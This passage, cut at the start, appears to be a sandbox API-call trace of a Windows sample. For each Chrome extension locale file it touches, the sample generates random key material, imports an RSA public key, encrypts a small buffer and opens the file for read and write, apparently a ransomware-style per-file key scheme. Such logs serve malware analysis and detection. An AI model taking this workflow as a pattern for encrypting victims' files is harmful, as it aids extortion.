Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.561] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a2f8) returned 1 [0234.561] CryptGetKeyParam (in: hKey=0x659a2f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.561] CryptEncrypt (in: hKey=0x659a2f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8550000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8550000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.561] GetLastError () returned 0x0 [0234.561] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.561] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.562] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0234.564] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.566] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.566] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.566] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.566] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.568] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.570] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.570] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.570] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.571] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.573] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a438) returned 1 [0234.573] CryptGetKeyParam (in: hKey=0x659a438, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.573] CryptEncrypt (in: hKey=0x659a438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8560000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8560000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.573] GetLastError () returned 0x0 [0234.573] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.573] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0234.576] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a5b8) returned 1 [0234.576] CryptGetKeyParam (in: hKey=0x659a5b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.576] CryptEncrypt (in: hKey=0x659a5b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8570000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8570000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.576] GetLastError () returned 0x0 [0234.576] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.576] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.577] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0234.580] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.581] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.581] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.581] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.581] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0234.583] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.584] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.584] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.584] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.585] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.587] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a478) returned 1 [0234.587] CryptGetKeyParam (in: hKey=0x659a478, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.587] CryptEncrypt (in: hKey=0x659a478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8580000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8580000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.587] GetLastError () returned 0x0 [0234.587] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.587] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.589] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a4b8) returned 1 [0234.589] CryptGetKeyParam (in: hKey=0x659a4b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.589] CryptEncrypt (in: hKey=0x659a4b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8590000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8590000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.589] GetLastError () returned 0x0 [0234.589] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.589] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.590] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0234.592] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.594] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.594] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.594] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.594] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.596] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.597] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.597] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.597] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.597] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.599] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a138) returned 1 [0234.599] CryptGetKeyParam (in: hKey=0x659a138, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.599] CryptEncrypt (in: hKey=0x659a138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x85a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x85a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.600] GetLastError () returned 0x0 [0234.600] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.600] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.602] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a738) returned 1 [0234.602] CryptGetKeyParam (in: hKey=0x659a738, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.602] CryptEncrypt (in: hKey=0x659a738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x85b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x85b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.602] GetLastError () returned 0x0 [0234.602] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.602] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.603] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.606] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.607] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.607] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.607] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.607] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0234.609] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.610] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.610] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.610] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.611] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.613] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a7b8) returned 1 [0234.613] CryptGetKeyParam (in: hKey=0x659a7b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.613] CryptEncrypt (in: hKey=0x659a7b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x85c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x85c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.613] GetLastError () returned 0x0 [0234.613] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.613] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0234.615] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a178) returned 1 [0234.615] CryptGetKeyParam (in: hKey=0x659a178, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.615] CryptEncrypt (in: hKey=0x659a178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x85d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x85d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.616] GetLastError () returned 0x0 [0234.616] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.616] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.617] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.619] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.621] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.621] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.621] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.622] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.624] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.625] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.625] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.625] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.625] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.629] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a4f8) returned 1 [0234.629] CryptGetKeyParam (in: hKey=0x659a4f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.629] CryptEncrypt (in: hKey=0x659a4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x85e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x85e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.629] GetLastError () returned 0x0 [0234.629] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.629] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0234.631] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a538) returned 1 [0234.631] CryptGetKeyParam (in: hKey=0x659a538, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.631] CryptEncrypt (in: hKey=0x659a538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x85f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x85f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.631] GetLastError () returned 0x0 [0234.631] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.632] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.633] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.635] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.636] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.636] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.636] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.636] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.638] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.639] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.639] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.639] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.640] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.642] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a5f8) returned 1 [0234.642] CryptGetKeyParam (in: hKey=0x659a5f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.642] CryptEncrypt (in: hKey=0x659a5f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8600000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8600000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.642] GetLastError () returned 0x0 [0234.642] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.642] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.644] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a6b8) returned 1 [0234.644] CryptGetKeyParam (in: hKey=0x659a6b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.644] CryptEncrypt (in: hKey=0x659a6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8610000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8610000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.644] GetLastError () returned 0x0 [0234.644] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.645] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.645] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0234.648] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.649] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.649] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.649] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.649] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.651] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.652] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.652] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.652] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.653] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.655] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a9b8) returned 1 [0234.655] CryptGetKeyParam (in: hKey=0x659a9b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.655] CryptEncrypt (in: hKey=0x659a9b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8620000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8620000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.655] GetLastError () returned 0x0 [0234.655] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.655] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.657] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ac78) returned 1 [0234.657] CryptGetKeyParam (in: hKey=0x659ac78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.657] CryptEncrypt (in: hKey=0x659ac78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8630000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8630000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.657] GetLastError () returned 0x0 [0234.657] 